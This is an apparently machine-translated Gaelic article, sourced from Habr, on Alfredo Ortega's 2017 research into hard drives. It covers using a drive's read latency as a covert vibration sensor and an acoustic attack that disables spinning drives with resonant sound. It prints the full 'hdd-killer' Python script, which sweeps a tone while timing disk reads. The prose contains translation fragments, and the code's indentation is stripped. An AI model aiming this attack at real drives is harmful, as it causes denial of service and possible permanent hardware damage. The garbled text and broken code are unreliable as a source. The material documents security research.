Aig co-labhairt tèarainteachd coimpiutair Ekoparty 2017 ann am Buenos Aires, sheall an neach-tarraing Argentine Alfredo Ortega leasachadh fìor inntinneach - siostam airson sreangadh falaichte de thogalaichean gun a bhith a ’cleachdadh microfòn. Fuaim
Bidh an HDD sa mhòr-chuid a’ togail fuaimean tricead ìosal àrd, ceumannan-coise agus crith eile. Chan urrainnear cainnt daonna aithneachadh fhathast, ged a tha luchd-saidheans
Is e fuaim crathadh èadhair no meadhan eile. Bidh neach gam faicinn tron eardrum, a bhios a’ gluasad crith chun chluais a-staigh. Tha am micreofon air a dhealbhadh gu ìre coltach ri cluais - an seo cuideachd, tha crith air a chlàradh le membran tana, a tha a’ togail spionnadh dealain. Tha an cruth cruaidh, gu dearbh, cuideachd fo ùmhlachd crithean microscopach mar thoradh air caochlaidhean san adhar mun cuairt. Tha seo aithnichte eadhon bho fheartan teignigeach HDDs: mar as trice bidh luchd-saothrachaidh a’ comharrachadh an ìre crathaidh as àirde a tha ceadaichte, agus bidh an draibhear cruaidh fhèin gu tric a’ feuchainn ri a chuir ann an soitheach dìon-chrith air a dhèanamh le rubair no stuth inslitheach eile. Bho seo tha e furasta a cho-dhùnadh gum faodar fuaimean a chlàradh le HDD. Chan eil air fhàgail ach faighinn a-mach ciamar.
Mhol Alfredo Ortega dreach sònraichte de ionnsaigh taobh-seanail, is e sin ionnsaigh ùine. Tha an ionnsaigh seo stèidhichte air a’ bharail gun tèid diofar obrachaidhean a dhèanamh air an inneal aig amannan eadar-dhealaichte, a rèir an dàta cuir a-steach a chaidh a thoirt seachad. Anns a 'chùis seo, is e an "dàta cuir a-steach" crith a' chinn leughaidh agus an truinnsear HDD, a tha co-cheangailte ri crith na h-àrainneachd, is e sin, le fuaim. Mar sin, le bhith a’ tomhas na h-ùine àireamhachaidh agus a’ dèanamh mion-sgrùdadh staitistigeil air an dàta, faodar crith a’ chinn/phlàta agus mar sin crathadh a’ mheadhain a thomhas. Mar as fhaide an dàil ann an leughadh dàta, is ann as làidire a bhios na crithidhean HDD agus, mar sin, mar as àirde am fuaim.
Ciamar a thomhas crathadh draibh cruaidh? Gu math sìmplidh: dìreach ruith gairm an t-siostaim read ()
- agus clàraich an ùine a bheir e airson a chrìochnachadh. Leigidh siostaman obrachaidh ùr-nodha leat àm gairmean siostaim a leughadh le mionaideachd nanosecond.
Tha astar leughaidh fiosrachaidh bho roinn an urra ri suidheachadh a’ chinn agus a ’phlàta, a tha co-cheangailte ri crithean a’ chùis HDD. Sin e.
Tha mion-sgrùdadh staitistigeil air a dhèanamh a’ cleachdadh goireas Kscope sìmplidh. Mar a tha iad ag ràdh, tha a h-uile dad innleachdach sìmplidh.
Goireas Kscope (stat() syscall)
Is e goireas beag a th’ ann an Kscope airson eadar-dhealachaidhean beaga fhaicinn ann an amannan gnìomh gairm siostaim. Stòr
Ann an stòr air leth read ()
.
Taisbeanadh de chlàradh fuaim a’ cleachdadh HDD, obrachadh goireas Kscope
Gu dearbh, chan urrainnear cainnt a thuigsinn san dòigh seo, ach tha an HDD gu math freagarrach mar sensor crathaidh. Mar eisimpleir, faodaidh tu clàradh ma chaidh neach le brògan cruaidh no casruisgte a-steach do rùm le coimpiutair (is dòcha, ma tha an neach-ionnsaigh a ’caitheamh sneakers bog no ma tha brat-ùrlair tiugh air an làr, cha bhith e comasach don HDD crith a chlàradh - is fhiach seo sgrùdadh). Tha an coimpiutair comasach air glainne briste no tachartasan eile a chlàradh le dian fuaim làidir. Is e sin, faodaidh an cruth cruaidh a bhith na sheòrsa de shiostam lorg sàrachadh gun chead.
Geama HDD killer
Air an t-slighe, faodar dòigh coltach ris a chleachdadh gus draibhearan cruaidh a dhì-cheadachadh. Is ann dìreach an seo nach bi sinn a’ toirt air falbh oscillations bhon HDD, ach air an làimh eile, bidh sinn a’ gineadh oscillations a thèid a bhiadhadh don HDD. Ma chluicheas tu fuaim bho neach-labhairt aig tricead a tha a’ freagairt air tricead HDD, bidh an siostam a’ tionndadh an inneal gu luath le mearachd I / O (bidh an kernel Linux a’ tionndadh an HDD gu tur às deidh 120 diogan). Dh’ fhaodadh an draibh cruaidh fhèin milleadh nach gabh atharrachadh.
Chuir an kernel Linux dheth an cruth cruaidh às deidh 120 diogan de bhith a’ lìbhrigeadh fuaim aig tricead athshondach tro neach-labhairt an neach-labhairt USB Edifier r19u. Tha an neach-labhairt air a thionndadh air timcheall air cairteal den chumhachd (nas lugha na 100 mW) agus tha e suidhichte 20 cm bhon HDD, ag amas air a ’bhòrd gus crith a neartachadh. Am frèam bho
Tha e neònach gum bi an leithid de “ionnsaighean” air HDDn uaireannan a’ tachairt gu tur gun fhiosta ann am beatha làitheil. Mar eisimpleir, san t-Sultain 2016, b’ fheudar do ionad dàta Banca ING stad a chuir air gnìomhachd airson 10 uairean às deidh drile teine.
Taisbeanadh de sgreuchail daonna aig draibhearan cruaidh ann an ionad dàta. Tomhas latency
Gus am fuaim ath-shuidheachaidh a ghineadh, sgrìobh Alfredo Ortega sgriobt Python ris an canar
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com